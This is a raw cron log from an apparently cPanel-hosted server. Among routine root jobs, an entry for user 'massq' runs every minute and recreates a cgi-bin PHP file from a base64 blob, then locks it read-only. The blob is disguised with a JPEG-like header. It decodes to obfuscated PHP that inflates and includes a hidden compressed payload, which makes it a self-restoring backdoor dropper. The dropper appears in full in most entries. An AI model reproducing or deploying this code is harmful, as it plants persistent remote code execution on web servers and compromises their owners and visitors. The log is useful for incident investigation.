Sep  7 17:42:01 server CROND[24777]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:42:01 server CROND[24779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:42:01 server CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:43:02 server CROND[25162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:43:02 server CROND[25163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:43:02 server CROND[25164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:44:01 server CROND[25531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:44:01 server CROND[25532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:44:01 server CROND[25533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:45:01 server CROND[25901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:45:01 server CROND[25902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:45:01 server CROND[25903]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:45:01 server CROND[25906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:45:01 server CROND[25904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:45:01 server CROND[25905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:45:01 server CROND[25907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:46:01 server CROND[26811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:46:01 server CROND[26812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:46:01 server CROND[26813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:47:01 server CROND[27233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:47:01 server CROND[27234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:47:01 server CROND[27242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:48:01 server CROND[27610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:48:01 server CROND[27611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:48:01 server CROND[27612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:49:01 server CROND[27990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:49:01 server CROND[27991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:49:01 server CROND[27992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:50:01 server CROND[28381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:50:01 server CROND[28383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:50:01 server CROND[28385]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:50:01 server CROND[28396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:50:01 server CROND[28395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:50:01 server CROND[28394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:50:01 server CROND[28405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:50:01 server CROND[28392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:50:01 server CROND[28393]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:51:01 server CROND[29924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:51:01 server CROND[29923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:51:01 server CROND[29925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:52:01 server CROND[30298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:52:01 server CROND[30297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:52:01 server CROND[30296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:53:02 server CROND[30673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:53:02 server CROND[30675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:53:02 server CROND[30674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:54:01 server CROND[31041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:54:01 server CROND[31042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
